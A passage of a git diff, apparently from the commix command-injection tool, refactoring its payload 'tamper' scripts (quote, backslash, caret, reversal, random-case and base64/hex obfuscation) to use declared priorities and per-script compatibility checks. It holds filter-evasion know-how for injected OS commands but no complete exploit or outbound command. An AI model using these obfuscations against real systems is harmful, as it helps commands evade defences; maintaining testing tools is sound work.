_urllib.parse.quote_plus(settings.SINGLE_WHITESPACE): + err_msg = "Tamper script '" + tamper_name + "' is unlikely to work when combined with the tamper script 'space2plus'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + """ Tamper script checker """ @@ -1802,42 +1849,40 @@ def tamper_scripts(stored_tamper_scripts): if not stored_tamper_scripts: info_msg = "Loaded tamper script" + ('s', '')[len(provided_scripts) == 1] + ": " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + priorities = {} for script in provided_scripts: # Register each script once; duplicate entries would apply the same tamper twice. if script not in settings.MULTI_ENCODED_PAYLOAD: settings.MULTI_ENCODED_PAYLOAD.append(script) - import_script = str(settings.TAMPER_SCRIPTS_PATH + script + ".py").replace("/",".").split(".py")[0] if not stored_tamper_scripts: - settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1]) - warn_msg = "" - if not settings.TIME_RELATED_ATTACK and script in settings.TIME_RELATED_TAMPER_SCRIPTS: - warn_msg = "Only time-related techniques support the usage of '" + script + ".py'." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - warn_msg = "" - if settings.EVAL_BASED_STATE != False and script in settings.EVAL_NOT_SUPPORTED_TAMPER_SCRIPTS: - warn_msg = "The dynamic code evaluation technique does " - elif settings.TARGET_OS == settings.OS.WINDOWS and script in settings.WIN_NOT_SUPPORTED_TAMPER_SCRIPTS: - warn_msg = "Windows targets do " - elif settings.TARGET_OS != settings.OS.WINDOWS and script in settings.UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS: - warn_msg = "Unix-like targets do " - elif "backticks" == script and menu.options.alter_shell: - warn_msg = "Option '--alter-shell' " - if len(warn_msg) != 0: + settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + script) + try: + module = importlib.import_module("src.core.tamper." + script) + except (ImportError, ValueError): + continue + if not hasattr(module, "__tamper__"): + err_msg = "Missing variable '__tamper__' " + err_msg += "in tamper script '" + script + "'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + priorities[script] = getattr(module, "__priority__", settings.PRIORITY.NORMAL) + # Each script declares its own incompatibilities via dependencies() (e.g. OS, active + # technique, other options) instead of a central list here having to track them all. + warn_msg = module.dependencies() if hasattr(module, "dependencies") else None + if warn_msg: # Always warn and drop incompatible scripts, including resumed techniques. - warn_msg = warn_msg + "not support the usage of '" + script + ".py'. Skipping tamper script." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.print_once(warn_msg) if script in settings.MULTI_ENCODED_PAYLOAD: settings.MULTI_ENCODED_PAYLOAD.remove(script) - else: - try: - module = __import__(import_script, fromlist=[None]) - if not hasattr(module, "__tamper__"): - err_msg = "Missing variable '__tamper__' " - err_msg += "in tamper script '" + import_script.split(".")[-1] + "'." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - except (ImportError, ValueError) as err_msg: - pass + + # Respect each tamper script's declared execution tier; offer to auto-sort conflicting --tamper order. + current_order = [script for script in settings.MULTI_ENCODED_PAYLOAD if script in priorities] + sorted_order = sorted(current_order, key=lambda script: -priorities[script]) + if current_order != sorted_order: + warn_msg = "It appears that you have mixed the order of the provided tamper scripts. " + warn_msg += "Do you want to auto resolve this? [Y/n] " + if common.read_input(warn_msg, default="Y", check_batch=True).lower() != "n": + settings.MULTI_ENCODED_PAYLOAD = sorted_order + [script for script in settings.MULTI_ENCODED_PAYLOAD if script not in priorities] # Using too many tamper scripts is usually not a good idea. :P _ = False @@ -2013,6 +2058,15 @@ def check_quotes(payload): else: menu.options.tamper = "singlequotes" +""" +Charset matches alone do not prove encoding; require a mostly printable decoded result to confirm a real encoding. +""" +def decoded_text_is_plausible(text): + if not text: + return False + printable = sum(1 for char in text if char in string.printable and char not in "\x0b\x0c") + return printable / len(text) >= settings.ENCODING_PLAUSIBILITY_RATIO + """ Check for applied (hex / b64) encoders. """ @@ -2020,6 +2074,7 @@ def check_encoders(payload): is_decoded = False encoded_with = "" check_value = payload + long_enough = len(check_value.strip()) >= settings.ENCODING_MIN_LENGTH settings.MULTI_ENCODED_PAYLOAD = list(dict.fromkeys(settings.MULTI_ENCODED_PAYLOAD)) for encode_type in list(settings.MULTI_ENCODED_PAYLOAD): @@ -2041,12 +2096,13 @@ def check_encoders(payload): common.invalid_option(procced_option) pass - if (len(check_value.strip()) % 4 == 0) and \ + if long_enough and (len(check_value.strip()) % 4 == 0) and \ re.match(settings.BASE64_RECOGNITION_REGEX, check_value) and \ not re.match(settings.HEX_RECOGNITION_REGEX, check_value): _payload = base64.b64decode(check_value) try: - if not "\\x" in _payload.decode(settings.DEFAULT_CODEC): + decoded_text = _payload.decode(settings.DEFAULT_CODEC) + if not "\\x" in decoded_text and decoded_text_is_plausible(decoded_text): settings.MULTI_ENCODED_PAYLOAD.append("base64encode") decoded_payload = _payload encoded_with = "base64" @@ -2058,9 +2114,9 @@ def check_encoders(payload): except Exception: pass - elif re.match(settings.HEX_RECOGNITION_REGEX, check_value): + elif long_enough and re.match(settings.HEX_RECOGNITION_REGEX, check_value): decoded_payload, _ = hexdecode(check_value) - if _: + if _ and decoded_text_is_plausible(decoded_payload): settings.MULTI_ENCODED_PAYLOAD.append("hexencode") encoded_with = "hex" if (len(check_value.strip()) % 4 == 0) and \ @@ -2068,7 +2124,8 @@ def check_encoders(payload): not re.match(settings.HEX_RECOGNITION_REGEX, decoded_payload): _payload = base64.b64decode(check_value) try: - if not "\\x" in _payload.decode(settings.DEFAULT_CODEC): + decoded_text = _payload.decode(settings.DEFAULT_CODEC) + if not "\\x" in decoded_text and decoded_text_is_plausible(decoded_text): settings.MULTI_ENCODED_PAYLOAD.append("base64encode") decoded_payload = _payload encoded_with = "base64" @@ -2082,8 +2139,8 @@ def check_encoders(payload): if is_decoded: while True: - message = "The value appears to be " + encoded_with + "-encoded. " - message += "Do you want to use the '" + encoded_with + "encode' tamper script? [Y/n] " + message = "The value appears to already be " + encoded_with + "-encoded. " + message += "Do you want to load the '" + encoded_with + "encode' tamper script to keep it that way? [Y/n] " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: break @@ -2099,6 +2156,13 @@ def check_encoders(payload): common.invalid_option(procced_option) pass + if is_decoded and (encoded_with + "encode") in settings.MULTI_ENCODED_PAYLOAD: + # Keep menu.options.tamper in sync with auto-detected tampers so resumed sessions restore them. + tamper_name = encoded_with + "encode" + provided = re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()) if menu.options.tamper else [] + if tamper_name not in provided: + menu.options.tamper = (menu.options.tamper + "," + tamper_name) if menu.options.tamper else tamper_name + if is_decoded: return _urllib.parse.quote(decoded_payload), encoded_with else: @@ -2125,14 +2189,13 @@ def recognise_payload(payload): return check_encoders(payload) """ -Check for stored payloads and enable tamper scripts. +Restore stored payloads and tampers as-is when resuming a session; skip re-detection and prompts. """ def check_for_stored_tamper(payload): - decoded_payload, encoded_with = recognise_payload(payload) - whitespace_check(decoded_payload) - other_symbols(decoded_payload) - check_backslashes(decoded_payload) - check_quotes(decoded_payload) + whitespace_check(payload) + other_symbols(payload) + check_backslashes(payload) + check_quotes(payload) tamper_scripts(stored_tamper_scripts=True) """ @@ -2152,112 +2215,21 @@ def _apply_tamper(script_name, module, payload): return result """ -Perform payload modification. Fixed pipeline order, not --tamper's given order or a priority value - these OS-command tampers have real dependencies (quoting before space-encoding, encoding last), unlike commutative SQL tampers. +Apply tampers in dependency order across groups, preserving the user's --tamper order within each group. """ def perform_payload_modification(payload): try: settings.RAW_PAYLOAD = payload.replace(settings.WHITESPACES[0], settings.SINGLE_WHITESPACE) except IndexError: settings.RAW_PAYLOAD = payload - - # "xforwardedfor" mutates request headers, not the payload string - applied directly in headers.do_check(), nothing to do here. - - for mod_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): - # Reverses (characterwise) the user-supplied operating system commands - if mod_type == 'backticks': - from src.core.tamper import backticks - payload = _apply_tamper(mod_type, backticks, payload) - - for mod_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): - # Reverses (characterwise) the user-supplied operating system commands - if mod_type == 'rev': - from src.core.tamper import rev - payload = _apply_tamper(mod_type, rev, payload) - - for mod_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): - # Replaces each user-supplied operating system command character with random case - if mod_type == 'randomcase': - from src.core.tamper import randomcase - payload = _apply_tamper(mod_type, randomcase, payload) - - for print_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): - # printf to echo (for ascii to dec) - if print_type == 'printf2echo': - from src.core.tamper import printf2echo - payload = _apply_tamper(print_type, printf2echo, payload) - - for sleep_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): - # sleep to timeout - if sleep_type == 'sleep2timeout': - from src.core.tamper import sleep2timeout - payload = _apply_tamper(sleep_type, sleep2timeout, payload) - # sleep to usleep - if sleep_type == 'sleep2usleep': - from src.core.tamper import sleep2usleep - payload = _apply_tamper(sleep_type, sleep2usleep, payload) - - for quotes_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): - # Add double-quotes. - if quotes_type == 'doublequotes': - from src.core.tamper import doublequotes - payload = _apply_tamper(quotes_type, doublequotes, payload) - # Add single-quotes. - if quotes_type == 'singlequotes': - from src.core.tamper import singlequotes - payload = _apply_tamper(quotes_type, singlequotes, payload) - - for mod_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): - # Add uninitialized variable. - if mod_type == 'uninitializedvariable': - from src.core.tamper import uninitializedvariable - payload = _apply_tamper(mod_type, uninitializedvariable, payload) - if mod_type == 'slash2env': - from src.core.tamper import slash2env - payload = _apply_tamper(mod_type, slash2env, payload) - # Add backslashes. - if mod_type == 'backslashes': - from src.core.tamper import backslashes - payload = _apply_tamper(mod_type, backslashes, payload) - # Add caret symbol. - if mod_type == 'caret': - from src.core.tamper import caret - payload = _apply_tamper(mod_type, caret, payload) - # Transfomation to nested command - if mod_type == 'nested': - from src.core.tamper import nested - payload = _apply_tamper(mod_type, nested, payload) - # Add dollar sign followed by an at-sign. - if mod_type == 'dollaratsigns': - from src.core.tamper import dollaratsigns - payload = _apply_tamper(mod_type, dollaratsigns, payload) - - for space_mod in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): - # Encode spaces. - if space_mod == 'space2ifs': - from src.core.tamper import space2ifs - payload = _apply_tamper(space_mod, space2ifs, payload) - if space_mod == 'space2plus': - from src.core.tamper import space2plus - payload = _apply_tamper(space_mod, space2plus, payload) - if space_mod == 'space2htab': - from src.core.tamper import space2htab - payload = _apply_tamper(space_mod, space2htab, payload) - if space_mod == 'space2vtab': - from src.core.tamper import space2vtab - payload = _apply_tamper(space_mod, space2vtab, payload) - if space_mod == 'multiplespaces': - from src.core.tamper import multiplespaces - payload = _apply_tamper(space_mod, multiplespaces, payload) - - for encode_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): - # Encode payload to hex format. - if encode_type == 'base64encode': - from src.core.tamper import base64encode - payload = _apply_tamper(encode_type, base64encode, payload) - # Encode payload to hex format. - if encode_type == 'hexencode': - from src.core.tamper import hexencode - payload = _apply_tamper(encode_type, hexencode, payload) + + # tamper_scripts() already sorts scripts by declared __priority__; apply them in that order. + for script in list(settings.MULTI_ENCODED_PAYLOAD): + # "xforwardedfor" mutates request headers, not the payload string - applied directly in headers.do_check(), nothing to do here. + if script == 'xforwardedfor': + continue + module = importlib.import_module("src.core.tamper." + script) + payload = _apply_tamper(script, module, payload) return payload diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 40a93c2484..7d4ea6a8a5 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -119,7 +119,7 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: payload = checks.payload_fixation(payload) # Percent-encode cookie values to safely handle delimiters and special characters. - encoded_payload = _urllib.parse.quote(payload, safe=settings.SAFE_QUERY) + encoded_payload = _urllib.parse.quote(payload, safe=settings.query_safe_chars()) cookie = checks.process_injectable_value(encoded_payload, menu.options.cookie).encode(settings.DEFAULT_CODEC) else: cookie = checks.remove_tags(menu.options.cookie).encode(settings.DEFAULT_CODEC) @@ -132,7 +132,7 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) if settings.INJECT_TAG in url: # Encode query string, preserving delimiters and configured parameter delimiter - encoded_payload = _urllib.parse.quote(payload, safe=settings.SAFE_QUERY) + encoded_payload = _urllib.parse.quote(payload, safe=settings.query_safe_chars()) tmp_url = checks.process_injectable_value(encoded_payload, url) else: tmp_url = checks.remove_tags(tmp_url) diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 5d2b4dadaf..5512170b29 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -280,13 +280,13 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads if not settings.LOAD_SESSION or technique not in settings.STORED_TECHNIQUES: + # Re-check tamper compatibility now that the technique and target OS are known, before its title is shown. + checks.tamper_scripts(stored_tamper_scripts=True) # Skip redundant progress output when the fallback already announced the technique. if settings.SKIP_NEXT_TECHNIQUE_TITLE == technique: settings.SKIP_NEXT_TECHNIQUE_TITLE = None else: checks.testing_technique_title(injection_type, technique) - # Re-check tamper compatibility now that the technique and target OS are known. - checks.tamper_scripts(stored_tamper_scripts=True) prefixes = settings.PREFIXES suffixes = settings.SUFFIXES @@ -567,13 +567,13 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec separators = settings.SEPARATORS if not settings.LOAD_SESSION or technique not in settings.STORED_TECHNIQUES: + # Re-check tamper compatibility now that the technique and target OS are known, before its title is shown. + checks.tamper_scripts(stored_tamper_scripts=True) # Skip redundant progress output when the fallback already announced the technique. if settings.SKIP_NEXT_TECHNIQUE_TITLE == technique: settings.SKIP_NEXT_TECHNIQUE_TITLE = None else: checks.testing_technique_title(injection_type, technique) - # Re-check tamper compatibility now that the technique and target OS are known. - checks.tamper_scripts(stored_tamper_scripts=True) if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: url_time_response = 0 tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response) diff --git a/src/core/main.py b/src/core/main.py index 5508cfc93e..956ebd0176 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -625,6 +625,8 @@ def main(filename, url, http_request_method): if menu.options.tamper: settings.USER_APPLIED_TAMPER = menu.options.tamper checks.tamper_scripts(stored_tamper_scripts=False) + # Prime whitespace-mutating tampers before capturing settings.WHITESPACES. + checks.perform_payload_modification(payload="") except AttributeError: pass diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index e8d769ab31..6636f85d0f 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -52,8 +52,8 @@ def encode_non_ascii_url(request): parts = _urllib.parse.urlsplit(url) # Encode path, preserving '/', '*', and '%' to avoid over-encoding path = _urllib.parse.quote(parts.path, safe=settings.SAFE_PATH) - # Encode query string, preserving delimiters and configured parameter delimiter - query = _urllib.parse.quote(parts.query, safe=settings.SAFE_QUERY + settings.URL_PARAM_DELIMITER) + # Encode query string, preserving delimiters and the parameter delimiter + query = _urllib.parse.quote(parts.query, safe=settings.query_safe_chars() + settings.URL_PARAM_DELIMITER) # Reconstruct the full URL with encoded path and query request.full_url = _urllib.parse.urlunsplit((parts.scheme, parts.netloc, path, query, parts.fragment)) @@ -216,8 +216,10 @@ def https_open(self, req): while stability.should_keep_retrying(_, unauthorized): if any((settings.REVERSE_TCP, settings.BIND_TCP)): _ = True - if settings.MULTI_TARGETS: + if settings.MULTI_TARGETS or settings.CRAWLING: if settings.INIT_TEST == True and len(settings.MULTI_ENCODED_PAYLOAD) != 0: + # A per-parameter auto-detected tamper (e.g. hexencode from check_encoders()) must not + # leak into the next target/form - reset back to only what the user actually gave. settings.MULTI_ENCODED_PAYLOAD = [] menu.options.tamper = settings.USER_APPLIED_TAMPER try: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 23dea6bbe3..b5b0a73e97 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -595,11 +595,8 @@ def inject_cookie(url, vuln_parameter, payload, http_request_method): headers.do_check(request) payload = checks.normalize_newlines(payload) if settings.INJECT_TAG in menu.options.cookie: - # Percent-encode before inserting into the cookie value - ";" is the - # cookie-attribute delimiter itself, so a raw separator/space/etc. in - # the payload would truncate or corrupt the cookie. PHP's $_COOKIE - # decodes this automatically, same as $_GET. - encoded_payload = _urllib.parse.quote(payload, safe=settings.SAFE_QUERY) + # Percent-encode before inserting into the cookie; raw delimiters or spaces can corrupt the value, and PHP's $_COOKIE decodes it automatically. + encoded_payload = _urllib.parse.quote(payload, safe=settings.query_safe_chars()) cookie = checks.process_injectable_value(encoded_payload, menu.options.cookie) request.add_header(settings.COOKIE, cookie) try: diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index bd195b95e3..f0dbc27ac9 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -14,8 +14,8 @@ """ import re -import sys from src.utils import settings +from src.core.injections.controller import checks """ About: Adds back slashes (\) between the characters in a given payload. @@ -23,8 +23,10 @@ """ __tamper__ = "backslashes" +__priority__ = settings.PRIORITY.LOW -global obf_char +def dependencies(): + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) if not settings.TAMPER_SCRIPTS[__tamper__]: obf_char = "\\" @@ -33,11 +35,7 @@ def tamper(payload): def add_back_slashes(payload): payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, lambda x: obf_char + x[0], payload) - for word in settings.IGNORE_TAMPER_TRANSFORMATION: - _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) - if _ in payload: - payload = payload.replace(_,_.replace(obf_char, "")) - return payload + return checks.tamper_restore_ignored_words(payload, obf_char) if settings.TARGET_OS != settings.OS.WINDOWS: return add_back_slashes(payload) else: diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index a16bb1d5cd..ef0bb8e89f 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -15,6 +15,7 @@ from src.utils import menu from src.utils import settings +from src.core.injections.controller import checks """ @@ -23,6 +24,10 @@ """ __tamper__ = "backticks" +__priority__ = settings.PRIORITY.HIGHEST + +def dependencies(): + return checks.tamper_dep_unix_only(__tamper__) or checks.tamper_dep_alter_shell_incompatible(__tamper__) if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py index 62ab7b7f8a..60fbb42446 100644 --- a/src/core/tamper/base64encode.py +++ b/src/core/tamper/base64encode.py @@ -13,10 +13,10 @@ For more see the file 'readme/COPYING' for copying permission. """ -import sys import base64 from src.utils import settings from src.thirdparty.six.moves import urllib as _urllib +from src.core.injections.controller import checks """ About: base64-encodes all characters in a given payload. @@ -24,19 +24,16 @@ """ __tamper__ = "base64encode" +__priority__ = settings.PRIORITY.LOWEST if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - if len(settings.WHITESPACES) != 0 and settings.WHITESPACES[0] == _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE): - err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work when combined with the tamper script 'space2plus'." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - payload = _urllib.parse.unquote(payload) - payload = base64.b64encode(payload.encode()) - payload = payload.decode(settings.DEFAULT_CODEC) - return payload + checks.tamper_check_space2plus_conflict(__tamper__) + payload = _urllib.parse.unquote(payload) + payload = base64.b64encode(payload.encode()) + payload = payload.decode(settings.DEFAULT_CODEC) + return payload # eof \ No newline at end of file diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index 64426e876d..cd9e3b3d7a 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -14,9 +14,8 @@ """ import re -import sys -from src.utils import menu from src.utils import settings +from src.core.injections.controller import checks """ About: Adds caret symbol (^) between the characters in a given payload. @@ -24,16 +23,20 @@ """ __tamper__ = "caret" +__priority__ = settings.PRIORITY.LOW + +def dependencies(): + return checks.tamper_dep_windows_only(__tamper__) if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): def add_caret_symbol(payload): - if re.compile(r"\w+").findall(payload): - long_string = "" - if len(max(re.compile(r"\w+").findall(payload), key=lambda word: len(word))) >= 5000: - long_string = max(re.compile(r"\w+").findall(payload), key=lambda word: len(word)) + words = re.findall(r"\w+", payload) + if words: + longest_word = max(words, key=len) + long_string = longest_word if len(longest_word) >= 5000 else "" rep = { "^^": "^", '"^t""^o""^k""^e""^n""^s"': '"t"^"o"^"k"^"e"^"n"^"s"', diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index 2c9009b83d..a910dd783b 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -15,6 +15,7 @@ import re from src.utils import settings +from src.core.injections.controller import checks """ About: Adds dollar sign followed by an at-sign ($@) between the characters in a given payload. @@ -22,8 +23,10 @@ """ __tamper__ = "dollaratsigns" +__priority__ = settings.PRIORITY.LOW -global obf_char +def dependencies(): + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) if not settings.TAMPER_SCRIPTS[__tamper__]: obf_char = "$@" @@ -32,11 +35,7 @@ def tamper(payload): def add_dollar_at_signs(payload): payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, lambda x: obf_char + x[0], payload) - for word in settings.IGNORE_TAMPER_TRANSFORMATION: - _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) - if _ in payload: - payload = payload.replace(_,_.replace(obf_char, "")) - return payload + return checks.tamper_restore_ignored_words(payload, obf_char) if settings.TARGET_OS != settings.OS.WINDOWS: return add_dollar_at_signs(payload) diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index 06b1167dfb..eb73385998 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -15,6 +15,7 @@ import re from src.utils import settings +from src.core.injections.controller import checks """ About: Adds double quotes (") between the characters in a given payload. @@ -22,8 +23,10 @@ """ __tamper__ = "doublequotes" +__priority__ = settings.PRIORITY.BELOW_NORMAL -global obf_char +def dependencies(): + return checks.tamper_dep_eval_incompatible(__tamper__) if not settings.TAMPER_SCRIPTS[__tamper__]: obf_char = '""' @@ -37,11 +40,7 @@ def add_double_quotes(payload): word = "tokens" _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) payload = payload.replace(word,_) - for word in settings.IGNORE_TAMPER_TRANSFORMATION: - _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) - if _ in payload: - payload = payload.replace(_,_.replace(obf_char, "")) - return payload + return checks.tamper_restore_ignored_words(payload, obf_char) return add_double_quotes(payload) # eof \ No newline at end of file diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index c69d57bc72..dc18be8035 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -13,10 +13,10 @@ For more see the file 'readme/COPYING' for copying permission. """ -import sys from src.core.convert import hexencode from src.thirdparty.six.moves import urllib as _urllib from src.utils import settings +from src.core.injections.controller import checks """ About: hex-encodes all characters in a given payload. @@ -24,20 +24,17 @@ """ __tamper__ = "hexencode" +__priority__ = settings.PRIORITY.LOWEST if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - if len(settings.WHITESPACES) != 0 and settings.WHITESPACES[0] == _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE): - err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work when combined with the tamper script 'space2plus'." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - payload = _urllib.parse.unquote(payload) - encoded_payload, _ = hexencode(payload) - if _: - payload = encoded_payload - return payload + checks.tamper_check_space2plus_conflict(__tamper__) + payload = _urllib.parse.unquote(payload) + encoded_payload, _ = hexencode(payload) + if _: + payload = encoded_payload + return payload # eof \ No newline at end of file diff --git a/src/core/tamper/multiplespaces.py b/src/core/tamper/multiplespaces.py index a9d4bc7826..5c616bca22 100644 --- a/src/core/tamper/multiplespaces.py +++ b/src/core/tamper/multiplespaces.py @@ -22,14 +22,14 @@ """ __tamper__ = "multiplespaces" +__priority__ = settings.PRIORITY.LOWER if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - if settings.TAMPER_SCRIPTS[__tamper__]: - for i in range(0, len(settings.WHITESPACES)): - settings.WHITESPACES[i] = settings.WHITESPACES[i] * random.randrange(3, 8) + for i in range(0, len(settings.WHITESPACES)): + settings.WHITESPACES[i] = settings.WHITESPACES[i] * random.randrange(3, 8) return payload # eof \ No newline at end of file diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index ce67df4883..a12e1cce1e 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -13,10 +13,9 @@ For more see the file 'readme/COPYING' for copying permission. """ -import sys -import random from src.utils import menu from src.utils import settings +from src.core.injections.controller import checks """ About: Adds double quotes (") around a given payload. @@ -24,6 +23,10 @@ """ __tamper__ = "nested" +__priority__ = settings.PRIORITY.LOW + +def dependencies(): + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True diff --git a/src/core/tamper/printf2echo.py b/src/core/tamper/printf2echo.py index 619325e0e0..b60d47b9c4 100644 --- a/src/core/tamper/printf2echo.py +++ b/src/core/tamper/printf2echo.py @@ -14,6 +14,7 @@ """ from src.utils import settings +from src.core.injections.controller import checks """ About: Replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`. @@ -21,6 +22,10 @@ """ __tamper__ = "printf2echo" +__priority__ = settings.PRIORITY.ABOVE_NORMAL + +def dependencies(): + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True diff --git a/src/core/tamper/randomcase.py b/src/core/tamper/randomcase.py index 87f748b4f2..05ee74ee06 100644 --- a/src/core/tamper/randomcase.py +++ b/src/core/tamper/randomcase.py @@ -15,6 +15,7 @@ from random import choice from src.utils import settings +from src.core.injections.controller import checks """ About: Replaces each character in a user-supplied OS command with a random case. @@ -22,6 +23,10 @@ """ __tamper__ = "randomcase" +__priority__ = settings.PRIORITY.HIGH + +def dependencies(): + return checks.tamper_dep_unix_only(__tamper__) if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True @@ -41,10 +46,7 @@ def tamper(payload): random_case_cmd = "$(echo " + _ + "|tr \"[A-Z]\" \"[a-z]\")" payload = settings.RAW_PAYLOAD.replace(settings.USER_APPLIED_CMD, random_case_cmd) if len(settings.WHITESPACES) != 0: - try: - payload = payload.replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) - except Exception: - pass + payload = payload.replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) return payload # eof \ No newline at end of file diff --git a/src/core/tamper/rev.py b/src/core/tamper/rev.py index 1aedfa9a6d..70b9e39e13 100644 --- a/src/core/tamper/rev.py +++ b/src/core/tamper/rev.py @@ -14,6 +14,7 @@ """ from src.utils import settings +from src.core.injections.controller import checks """ About: Reverses (characterwise) the user-supplied operating system commands in a given payload. @@ -23,6 +24,10 @@ """ __tamper__ = "rev" +__priority__ = settings.PRIORITY.HIGHER + +def dependencies(): + return checks.tamper_dep_unix_only(__tamper__) if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True @@ -36,10 +41,7 @@ def tamper(payload): rev_cmd = "$(echo " + settings.USER_APPLIED_CMD[::-1] + "|rev)" payload = settings.RAW_PAYLOAD.replace(settings.USER_APPLIED_CMD, rev_cmd) if len(settings.WHITESPACES) != 0: - try: - payload = payload.replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) - except Exception: - pass + payload = payload.replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) return payload # eof \ No newline at end of file diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index 895dd33bff..ea7687c718 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -15,6 +15,7 @@ import re from src.utils import settings +from src.core.injections.controller import checks """ About: Adds single quotes (') between the characters in a given payload. @@ -22,21 +23,19 @@ """ __tamper__ = "singlequotes" +__priority__ = settings.PRIORITY.BELOW_NORMAL -global obf_char +def dependencies(): + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) if not settings.TAMPER_SCRIPTS[__tamper__]: obf_char = "''" settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - def add_single_quotes(payload): + def add_single_quotes(payload): payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, lambda x: obf_char + x[0], payload) - for word in settings.IGNORE_TAMPER_TRANSFORMATION: - _ 